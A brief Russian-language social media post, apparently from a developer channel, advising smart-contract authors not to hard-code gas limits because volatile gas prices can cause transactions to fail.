Так как цена на газ постоянно меняется, особенно в период высокой волатильности криптовалют, лучше не указывать жесткие лимиты на газ в своем контракте.
В случае резкого повышения цены, есть большая вероятность, что транзакции не будут выполнены.
#security #tip #st
👍1